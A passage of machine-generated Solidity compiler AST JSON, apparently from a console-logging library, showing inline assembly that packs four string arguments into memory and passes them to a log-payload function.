32","nodeType":"ElementaryTypeName","src":"396117:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46553,"nodeType":"VariableDeclarationStatement","src":"396117:10:22"},{"assignments":[46555],"declarations":[{"constant":false,"id":46555,"mutability":"mutable","name":"m5","nameLocation":"396145:2:22","nodeType":"VariableDeclaration","scope":46585,"src":"396137:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46554,"name":"bytes32","nodeType":"ElementaryTypeName","src":"396137:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46556,"nodeType":"VariableDeclarationStatement","src":"396137:10:22"},{"assignments":[46558],"declarations":[{"constant":false,"id":46558,"mutability":"mutable","name":"m6","nameLocation":"396165:2:22","nodeType":"VariableDeclaration","scope":46585,"src":"396157:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46557,"name":"bytes32","nodeType":"ElementaryTypeName","src":"396157:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46559,"nodeType":"VariableDeclarationStatement","src":"396157:10:22"},{"assignments":[46561],"declarations":[{"constant":false,"id":46561,"mutability":"mutable","name":"m7","nameLocation":"396185:2:22","nodeType":"VariableDeclaration","scope":46585,"src":"396177:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46560,"name":"bytes32","nodeType":"ElementaryTypeName","src":"396177:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46562,"nodeType":"VariableDeclarationStatement","src":"396177:10:22"},{"assignments":[46564],"declarations":[{"constant":false,"id":46564,"mutability":"mutable","name":"m8","nameLocation":"396205:2:22","nodeType":"VariableDeclaration","scope":46585,"src":"396197:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46563,"name":"bytes32","nodeType":"ElementaryTypeName","src":"396197:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46565,"nodeType":"VariableDeclarationStatement","src":"396197:10:22"},{"assignments":[46567],"declarations":[{"constant":false,"id":46567,"mutability":"mutable","name":"m9","nameLocation":"396225:2:22","nodeType":"VariableDeclaration","scope":46585,"src":"396217:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46566,"name":"bytes32","nodeType":"ElementaryTypeName","src":"396217:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46568,"nodeType":"VariableDeclarationStatement","src":"396217:10:22"},{"assignments":[46570],"declarations":[{"constant":false,"id":46570,"mutability":"mutable","name":"m10","nameLocation":"396245:3:22","nodeType":"VariableDeclaration","scope":46585,"src":"396237:11:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46569,"name":"bytes32","nodeType":"ElementaryTypeName","src":"396237:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46571,"nodeType":"VariableDeclarationStatement","src":"396237:11:22"},{"assignments":[46573],"declarations":[{"constant":false,"id":46573,"mutability":"mutable","name":"m11","nameLocation":"396266:3:22","nodeType":"VariableDeclaration","scope":46585,"src":"396258:11:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46572,"name":"bytes32","nodeType":"ElementaryTypeName","src":"396258:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46574,"nodeType":"VariableDeclarationStatement","src":"396258:11:22"},{"assignments":[46576],"declarations":[{"constant":false,"id":46576,"mutability":"mutable","name":"m12","nameLocation":"396287:3:22","nodeType":"VariableDeclaration","scope":46585,"src":"396279:11:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46575,"name":"bytes32","nodeType":"ElementaryTypeName","src":"396279:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46577,"nodeType":"VariableDeclarationStatement","src":"396279:11:22"},{"AST":{"nativeSrc":"396309:1128:22","nodeType":"YulBlock","src":"396309:1128:22","statements":[{"body":{"nativeSrc":"396352:313:22","nodeType":"YulBlock","src":"396352:313:22","statements":[{"nativeSrc":"396370:15:22","nodeType":"YulVariableDeclaration","src":"396370:15:22","value":{"kind":"number","nativeSrc":"396384:1:22","nodeType":"YulLiteral","src":"396384:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"396374:6:22","nodeType":"YulTypedName","src":"396374:6:22","type":""}]},{"body":{"nativeSrc":"396455:40:22","nodeType":"YulBlock","src":"396455:40:22","statements":[{"body":{"nativeSrc":"396484:9:22","nodeType":"YulBlock","src":"396484:9:22","statements":[{"nativeSrc":"396486:5:22","nodeType":"YulBreak","src":"396486:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"396472:6:22","nodeType":"YulIdentifier","src":"396472:6:22"},{"name":"w","nativeSrc":"396480:1:22","nodeType":"YulIdentifier","src":"396480:1:22"}],"functionName":{"name":"byte","nativeSrc":"396467:4:22","nodeType":"YulIdentifier","src":"396467:4:22"},"nativeSrc":"396467:15:22","nodeType":"YulFunctionCall","src":"396467:15:22"}],"functionName":{"name":"iszero","nativeSrc":"396460:6:22","nodeType":"YulIdentifier","src":"396460:6:22"},"nativeSrc":"396460:23:22","nodeType":"YulFunctionCall","src":"396460:23:22"},"nativeSrc":"396457:36:22","nodeType":"YulIf","src":"396457:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"396412:6:22","nodeType":"YulIdentifier","src":"396412:6:22"},{"kind":"number","nativeSrc":"396420:4:22","nodeType":"YulLiteral","src":"396420:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"396409:2:22","nodeType":"YulIdentifier","src":"396409:2:22"},"nativeSrc":"396409:16:22","nodeType":"YulFunctionCall","src":"396409:16:22"},"nativeSrc":"396402:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"396426:28:22","nodeType":"YulBlock","src":"396426:28:22","statements":[{"nativeSrc":"396428:24:22","nodeType":"YulAssignment","src":"396428:24:22","value":{"arguments":[{"name":"length","nativeSrc":"396442:6:22","nodeType":"YulIdentifier","src":"396442:6:22"},{"kind":"number","nativeSrc":"396450:1:22","nodeType":"YulLiteral","src":"396450:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"396438:3:22","nodeType":"YulIdentifier","src":"396438:3:22"},"nativeSrc":"396438:14:22","nodeType":"YulFunctionCall","src":"396438:14:22"},"variableNames":[{"name":"length","nativeSrc":"396428:6:22","nodeType":"YulIdentifier","src":"396428:6:22"}]}]},"pre":{"nativeSrc":"396406:2:22","nodeType":"YulBlock","src":"396406:2:22","statements":[]},"src":"396402:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"396519:3:22","nodeType":"YulIdentifier","src":"396519:3:22"},{"name":"length","nativeSrc":"396524:6:22","nodeType":"YulIdentifier","src":"396524:6:22"}],"functionName":{"name":"mstore","nativeSrc":"396512:6:22","nodeType":"YulIdentifier","src":"396512:6:22"},"nativeSrc":"396512:19:22","nodeType":"YulFunctionCall","src":"396512:19:22"},"nativeSrc":"396512:19:22","nodeType":"YulExpressionStatement","src":"396512:19:22"},{"nativeSrc":"396548:37:22","nodeType":"YulVariableDeclaration","src":"396548:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"396565:3:22","nodeType":"YulLiteral","src":"396565:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"396574:1:22","nodeType":"YulLiteral","src":"396574:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"396577:6:22","nodeType":"YulIdentifier","src":"396577:6:22"}],"functionName":{"name":"shl","nativeSrc":"396570:3:22","nodeType":"YulIdentifier","src":"396570:3:22"},"nativeSrc":"396570:14:22","nodeType":"YulFunctionCall","src":"396570:14:22"}],"functionName":{"name":"sub","nativeSrc":"396561:3:22","nodeType":"YulIdentifier","src":"396561:3:22"},"nativeSrc":"396561:24:22","nodeType":"YulFunctionCall","src":"396561:24:22"},"variables":[{"name":"shift","nativeSrc":"396552:5:22","nodeType":"YulTypedName","src":"396552:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"396613:3:22","nodeType":"YulIdentifier","src":"396613:3:22"},{"kind":"number","nativeSrc":"396618:4:22","nodeType":"YulLiteral","src":"396618:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"396609:3:22","nodeType":"YulIdentifier","src":"396609:3:22"},"nativeSrc":"396609:14:22","nodeType":"YulFunctionCall","src":"396609:14:22"},{"arguments":[{"name":"shift","nativeSrc":"396629:5:22","nodeType":"YulIdentifier","src":"396629:5:22"},{"arguments":[{"name":"shift","nativeSrc":"396640:5:22","nodeType":"YulIdentifier","src":"396640:5:22"},{"name":"w","nativeSrc":"396647:1:22","nodeType":"YulIdentifier","src":"396647:1:22"}],"functionName":{"name":"shr","nativeSrc":"396636:3:22","nodeType":"YulIdentifier","src":"396636:3:22"},"nativeSrc":"396636:13:22","nodeType":"YulFunctionCall","src":"396636:13:22"}],"functionName":{"name":"shl","nativeSrc":"396625:3:22","nodeType":"YulIdentifier","src":"396625:3:22"},"nativeSrc":"396625:25:22","nodeType":"YulFunctionCall","src":"396625:25:22"}],"functionName":{"name":"mstore","nativeSrc":"396602:6:22","nodeType":"YulIdentifier","src":"396602:6:22"},"nativeSrc":"396602:49:22","nodeType":"YulFunctionCall","src":"396602:49:22"},"nativeSrc":"396602:49:22","nodeType":"YulExpressionStatement","src":"396602:49:22"}]},"name":"writeString","nativeSrc":"396323:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"396344:3:22","nodeType":"YulTypedName","src":"396344:3:22","type":""},{"name":"w","nativeSrc":"396349:1:22","nodeType":"YulTypedName","src":"396349:1:22","type":""}],"src":"396323:342:22"},{"nativeSrc":"396678:17:22","nodeType":"YulAssignment","src":"396678:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"396690:4:22","nodeType":"YulLiteral","src":"396690:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"396684:5:22","nodeType":"YulIdentifier","src":"396684:5:22"},"nativeSrc":"396684:11:22","nodeType":"YulFunctionCall","src":"396684:11:22"},"variableNames":[{"name":"m0","nativeSrc":"396678:2:22","nodeType":"YulIdentifier","src":"396678:2:22"}]},{"nativeSrc":"396708:17:22","nodeType":"YulAssignment","src":"396708:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"396720:4:22","nodeType":"YulLiteral","src":"396720:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"396714:5:22","nodeType":"YulIdentifier","src":"396714:5:22"},"nativeSrc":"396714:11:22","nodeType":"YulFunctionCall","src":"396714:11:22"},"variableNames":[{"name":"m1","nativeSrc":"396708:2:22","nodeType":"YulIdentifier","src":"396708:2:22"}]},{"nativeSrc":"396738:17:22","nodeType":"YulAssignment","src":"396738:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"396750:4:22","nodeType":"YulLiteral","src":"396750:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"396744:5:22","nodeType":"YulIdentifier","src":"396744:5:22"},"nativeSrc":"396744:11:22","nodeType":"YulFunctionCall","src":"396744:11:22"},"variableNames":[{"name":"m2","nativeSrc":"396738:2:22","nodeType":"YulIdentifier","src":"396738:2:22"}]},{"nativeSrc":"396768:17:22","nodeType":"YulAssignment","src":"396768:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"396780:4:22","nodeType":"YulLiteral","src":"396780:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"396774:5:22","nodeType":"YulIdentifier","src":"396774:5:22"},"nativeSrc":"396774:11:22","nodeType":"YulFunctionCall","src":"396774:11:22"},"variableNames":[{"name":"m3","nativeSrc":"396768:2:22","nodeType":"YulIdentifier","src":"396768:2:22"}]},{"nativeSrc":"396798:17:22","nodeType":"YulAssignment","src":"396798:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"396810:4:22","nodeType":"YulLiteral","src":"396810:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"396804:5:22","nodeType":"YulIdentifier","src":"396804:5:22"},"nativeSrc":"396804:11:22","nodeType":"YulFunctionCall","src":"396804:11:22"},"variableNames":[{"name":"m4","nativeSrc":"396798:2:22","nodeType":"YulIdentifier","src":"396798:2:22"}]},{"nativeSrc":"396828:17:22","nodeType":"YulAssignment","src":"396828:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"396840:4:22","nodeType":"YulLiteral","src":"396840:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"396834:5:22","nodeType":"YulIdentifier","src":"396834:5:22"},"nativeSrc":"396834:11:22","nodeType":"YulFunctionCall","src":"396834:11:22"},"variableNames":[{"name":"m5","nativeSrc":"396828:2:22","nodeType":"YulIdentifier","src":"396828:2:22"}]},{"nativeSrc":"396858:17:22","nodeType":"YulAssignment","src":"396858:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"396870:4:22","nodeType":"YulLiteral","src":"396870:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"396864:5:22","nodeType":"YulIdentifier","src":"396864:5:22"},"nativeSrc":"396864:11:22","nodeType":"YulFunctionCall","src":"396864:11:22"},"variableNames":[{"name":"m6","nativeSrc":"396858:2:22","nodeType":"YulIdentifier","src":"396858:2:22"}]},{"nativeSrc":"396888:17:22","nodeType":"YulAssignment","src":"396888:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"396900:4:22","nodeType":"YulLiteral","src":"396900:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"396894:5:22","nodeType":"YulIdentifier","src":"396894:5:22"},"nativeSrc":"396894:11:22","nodeType":"YulFunctionCall","src":"396894:11:22"},"variableNames":[{"name":"m7","nativeSrc":"396888:2:22","nodeType":"YulIdentifier","src":"396888:2:22"}]},{"nativeSrc":"396918:18:22","nodeType":"YulAssignment","src":"396918:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"396930:5:22","nodeType":"YulLiteral","src":"396930:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"396924:5:22","nodeType":"YulIdentifier","src":"396924:5:22"},"nativeSrc":"396924:12:22","nodeType":"YulFunctionCall","src":"396924:12:22"},"variableNames":[{"name":"m8","nativeSrc":"396918:2:22","nodeType":"YulIdentifier","src":"396918:2:22"}]},{"nativeSrc":"396949:18:22","nodeType":"YulAssignment","src":"396949:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"396961:5:22","nodeType":"YulLiteral","src":"396961:5:22","type":"","value":"0x120"}],"functionName":{"name":"mload","nativeSrc":"396955:5:22","nodeType":"YulIdentifier","src":"396955:5:22"},"nativeSrc":"396955:12:22","nodeType":"YulFunctionCall","src":"396955:12:22"},"variableNames":[{"name":"m9","nativeSrc":"396949:2:22","nodeType":"YulIdentifier","src":"396949:2:22"}]},{"nativeSrc":"396980:19:22","nodeType":"YulAssignment","src":"396980:19:22","value":{"arguments":[{"kind":"number","nativeSrc":"396993:5:22","nodeType":"YulLiteral","src":"396993:5:22","type":"","value":"0x140"}],"functionName":{"name":"mload","nativeSrc":"396987:5:22","nodeType":"YulIdentifier","src":"396987:5:22"},"nativeSrc":"396987:12:22","nodeType":"YulFunctionCall","src":"396987:12:22"},"variableNames":[{"name":"m10","nativeSrc":"396980:3:22","nodeType":"YulIdentifier","src":"396980:3:22"}]},{"nativeSrc":"397012:19:22","nodeType":"YulAssignment","src":"397012:19:22","value":{"arguments":[{"kind":"number","nativeSrc":"397025:5:22","nodeType":"YulLiteral","src":"397025:5:22","type":"","value":"0x160"}],"functionName":{"name":"mload","nativeSrc":"397019:5:22","nodeType":"YulIdentifier","src":"397019:5:22"},"nativeSrc":"397019:12:22","nodeType":"YulFunctionCall","src":"397019:12:22"},"variableNames":[{"name":"m11","nativeSrc":"397012:3:22","nodeType":"YulIdentifier","src":"397012:3:22"}]},{"nativeSrc":"397044:19:22","nodeType":"YulAssignment","src":"397044:19:22","value":{"arguments":[{"kind":"number","nativeSrc":"397057:5:22","nodeType":"YulLiteral","src":"397057:5:22","type":"","value":"0x180"}],"functionName":{"name":"mload","nativeSrc":"397051:5:22","nodeType":"YulIdentifier","src":"397051:5:22"},"nativeSrc":"397051:12:22","nodeType":"YulFunctionCall","src":"397051:12:22"},"variableNames":[{"name":"m12","nativeSrc":"397044:3:22","nodeType":"YulIdentifier","src":"397044:3:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"397146:4:22","nodeType":"YulLiteral","src":"397146:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"397152:10:22","nodeType":"YulLiteral","src":"397152:10:22","type":"","value":"0xde68f20a"}],"functionName":{"name":"mstore","nativeSrc":"397139:6:22","nodeType":"YulIdentifier","src":"397139:6:22"},"nativeSrc":"397139:24:22","nodeType":"YulFunctionCall","src":"397139:24:22"},"nativeSrc":"397139:24:22","nodeType":"YulExpressionStatement","src":"397139:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"397183:4:22","nodeType":"YulLiteral","src":"397183:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"397189:4:22","nodeType":"YulLiteral","src":"397189:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"397176:6:22","nodeType":"YulIdentifier","src":"397176:6:22"},"nativeSrc":"397176:18:22","nodeType":"YulFunctionCall","src":"397176:18:22"},"nativeSrc":"397176:18:22","nodeType":"YulExpressionStatement","src":"397176:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"397214:4:22","nodeType":"YulLiteral","src":"397214:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"397220:4:22","nodeType":"YulLiteral","src":"397220:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"397207:6:22","nodeType":"YulIdentifier","src":"397207:6:22"},"nativeSrc":"397207:18:22","nodeType":"YulFunctionCall","src":"397207:18:22"},"nativeSrc":"397207:18:22","nodeType":"YulExpressionStatement","src":"397207:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"397245:4:22","nodeType":"YulLiteral","src":"397245:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"397251:5:22","nodeType":"YulLiteral","src":"397251:5:22","type":"","value":"0x100"}],"functionName":{"name":"mstore","nativeSrc":"397238:6:22","nodeType":"YulIdentifier","src":"397238:6:22"},"nativeSrc":"397238:19:22","nodeType":"YulFunctionCall","src":"397238:19:22"},"nativeSrc":"397238:19:22","nodeType":"YulExpressionStatement","src":"397238:19:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"397277:4:22","nodeType":"YulLiteral","src":"397277:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"397283:5:22","nodeType":"YulLiteral","src":"397283:5:22","type":"","value":"0x140"}],"functionName":{"name":"mstore","nativeSrc":"397270:6:22","nodeType":"YulIdentifier","src":"397270:6:22"},"nativeSrc":"397270:19:22","nodeType":"YulFunctionCall","src":"397270:19:22"},"nativeSrc":"397270:19:22","nodeType":"YulExpressionStatement","src":"397270:19:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"397314:4:22","nodeType":"YulLiteral","src":"397314:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"397320:2:22","nodeType":"YulIdentifier","src":"397320:2:22"}],"functionName":{"name":"writeString","nativeSrc":"397302:11:22","nodeType":"YulIdentifier","src":"397302:11:22"},"nativeSrc":"397302:21:22","nodeType":"YulFunctionCall","src":"397302:21:22"},"nativeSrc":"397302:21:22","nodeType":"YulExpressionStatement","src":"397302:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"397348:4:22","nodeType":"YulLiteral","src":"397348:4:22","type":"","value":"0xe0"},{"name":"p1","nativeSrc":"397354:2:22","nodeType":"YulIdentifier","src":"397354:2:22"}],"functionName":{"name":"writeString","nativeSrc":"397336:11:22","nodeType":"YulIdentifier","src":"397336:11:22"},"nativeSrc":"397336:21:22","nodeType":"YulFunctionCall","src":"397336:21:22"},"nativeSrc":"397336:21:22","nodeType":"YulExpressionStatement","src":"397336:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"397382:5:22","nodeType":"YulLiteral","src":"397382:5:22","type":"","value":"0x120"},{"name":"p2","nativeSrc":"397389:2:22","nodeType":"YulIdentifier","src":"397389:2:22"}],"functionName":{"name":"writeString","nativeSrc":"397370:11:22","nodeType":"YulIdentifier","src":"397370:11:22"},"nativeSrc":"397370:22:22","nodeType":"YulFunctionCall","src":"397370:22:22"},"nativeSrc":"397370:22:22","nodeType":"YulExpressionStatement","src":"397370:22:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"397417:5:22","nodeType":"YulLiteral","src":"397417:5:22","type":"","value":"0x160"},{"name":"p3","nativeSrc":"397424:2:22","nodeType":"YulIdentifier","src":"397424:2:22"}],"functionName":{"name":"writeString","nativeSrc":"397405:11:22","nodeType":"YulIdentifier","src":"397405:11:22"},"nativeSrc":"397405:22:22","nodeType":"YulFunctionCall","src":"397405:22:22"},"nativeSrc":"397405:22:22","nodeType":"YulExpressionStatement","src":"397405:22:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46540,"isOffset":false,"isSlot":false,"src":"396678:2:22","valueSize":1},{"declaration":46543,"isOffset":false,"isSlot":false,"src":"396708:2:22","valueSize":1},{"declaration":46570,"isOffset":false,"isSlot":false,"src":"396980:3:22","valueSize":1},{"declaration":46573,"isOffset":false,"isSlot":false,"src":"397012:3:22","valueSize":1},{"declaration":46576,"isOffset":false,"isSlot":false,"src":"397044:3:22","valueSize":1},{"declaration":46546,"isOffset":false,"isSlot":false,"src":"396738:2:22","valueSize":1},{"declaration":46549,"isOffset":false,"isSlot":false,"src":"396768:2:22","valueSize":1},{"declaration":46552,"isOffset":false,"isSlot":false,"src":"396798:2:22","valueSize":1},{"declaration":46555,"isOffset":false,"isSlot":false,"src":"396828:2:22","valueSize":1},{"declaration":46558,"isOffset":false,"isSlot":false,"src":"396858:2:22","valueSize":1},{"declaration":46561,"isOffset":false,"isSlot":false,"src":"396888:2:22","valueSize":1},{"declaration":46564,"isOffset":false,"isSlot":false,"src":"396918:2:22","valueSize":1},{"declaration":46567,"isOffset":false,"isSlot":false,"src":"396949:2:22","valueSize":1},{"declaration":46530,"isOffset":false,"isSlot":false,"src":"397320:2:22","valueSize":1},{"declaration":46532,"isOffset":false,"isSlot":false,"src":"397354:2:22","valueSize":1},{"declaration":46534,"isOffset":false,"isSlot":false,"src":"397389:2:22","valueSize":1},{"declaration":46536,"isOffset":false,"isSlot":false,"src":"397424:2:22","valueSize":1}],"id":46578,"nodeType":"InlineAssembly","src":"396300:1137:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":46580,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"397462:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313834","id":46581,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"397468:5:22","typeDescriptions":{"typeIdentifier":"t_rational_388_by_1","typeString":"int_const 388"},"value":"0x184"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_388_by_1","typeString":"int_const 388"}],"id":46579,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"397446:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":46582,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"397446:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46583,"nodeType":"ExpressionStatement","src":"397446:28:22"},{"AST":{"nativeSrc":"397493:396:22","nodeType":"YulBlock","src":"397493:396:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"397514:4:22","nodeType":"YulLiteral","src":"397514:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"397520:2:22","nodeType":"YulIdentifier","src":"397520:2:22"}],"functionName":{"name":"mstore","nativeSrc":"397507:6:22","nodeType":"YulIdentifier","src":"397507:6:22"},"nativeSrc":"397507:16:22","nodeType":"YulFunctionCall","src":"397507:16:22"},"nativeSrc":"397507:16:22","nodeType":"YulExpressionStatement","src":"397507:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"397543:4:22","nodeType":"YulLiteral","src":"397543:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"397549:2:22","nodeType":"YulIdentifier","src":"397549:2:22"}],"functionName":{"name":"mstore","nativeSrc":"397536:6:22","nodeType":"YulIdentifier","src":"397536:6:22"},"nativeSrc":"397536:16:22","nodeType":"YulFunctionCall","src":"397536:16:22"},"nativeSrc":"397536:16:22","nodeType":"YulExpressionStatement","src":"397536:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"397572:4:22","nodeType":"YulLiteral","src":"397572:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"397578:2:22","nodeType":"YulIdentifier","src":"397578:2:22"}],"functionName":{"name":"mstore","nativeSrc":"397565:6:22","nodeType":"YulIdentifier","src":"397565:6:22"},"nativeSrc":"397565:16:22","nodeType":"YulFunctionCall","src":"397565:16:22"},"nativeSrc":"397565:16:22","nodeType":"YulExpressionStatement","src":"397565:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"397601:4:22","nodeType":"YulLiteral","src":"397601:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"397607:2:22","nodeType":"YulIdentifier","src":"397607:2:22"}],"functionName":{"name":"mstore","nativeSrc":"397594:6:22","nodeType":"YulIdentifier","src":"397594:6:22"},"nativeSrc":"397594:16:22","nodeType":"YulFunctionCall","src":"397594:16:22"},"nativeSrc":"397594:16:22","nodeType":"YulExpressionStatement","src":"397594:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"397630:4:22","nodeType":"YulLiteral","src":"397630:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"397636:2:22","nodeType":"YulIdentifier","src":"397636:2:22"}],"functionName":{"name":"mstore","nativeSrc":"397623:6:22","nodeType":"YulIdentifier","src":"397623:6:22"},"nativeSrc":"397623:16:22","nodeType":"YulFunctionCall","src":"397623:16:22"},"nativeSrc":"397623:16:22","nodeType":"YulExpressionStatement","src":"397623:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"397659:4:22","nodeType":"YulLiteral","src":"397659:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"397665:2:22","nodeType":"YulIdentifier","src":"397665:2:22"}],"functionName":{"name":"mstore","nativeSrc":"397652:6:22","nodeType":"YulIdentifier","src":"397652:6:22"},"nativeSrc":"397652:16:22","nodeType":"YulFunctionCall","src":"397652:16:22"},"nativeSrc":"397652:16:22","nodeType":"YulExpressionStatement","src":"397652:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"397688:4:22","nodeType":"YulLiteral","src":"397688:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"397694:2:22","nodeType":"YulIdentifier","src":"397694:2:22"}],"functionName":{"name":"mstore","nativeSrc":"397681:6:22","nodeType":"YulIdentifier","src":"397681:6:22"},"nativeSrc":"397681:16:22","nodeType":"YulFunctionCall","src":"397681:16:22"},"nativeSrc":"397681:16:22","nodeType":"YulExpressionStatement","src":"397681:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"397717:4:22","nodeType":"YulLiteral","src":"397717:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"397723:2:22","nodeType":"YulIdentifier","src":"397723:2:22"}],"functionName":{"name":"mstore","nativeSrc":"397710:6:22","nodeType":"YulIdentifier","src":"397710:6:22"},"nativeSrc":"397710:16:22","nodeType":"YulFunctionCall","src":"397710:16:22"},"nativeSrc":"397710:16:22","nodeType":"YulExpressionStatement","src":"397710:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"397746:5:22","nodeType":"YulLiteral","src":"397746:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"397753:2:22","nodeType":"YulIdentifier","src":"397753:2:22"}],"functionName":{"name":"mstore","nativeSrc":"397739:6:22","nodeType":"YulIdentifier","src":"397739:6:22"},"nativeSrc":"397739:17:22","nodeType":"YulFunctionCall","src":"397739:17:22"},"nativeSrc":"397739:17:22","nodeType":"YulExpressionStatement","src":"397739:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"397776:5:22","nodeType":"YulLiteral","src":"397776:5:22","type":"","value":"0x120"},{"name":"m9","nativeSrc":"397783:2:22","nodeType":"YulIdentifier","src":"39778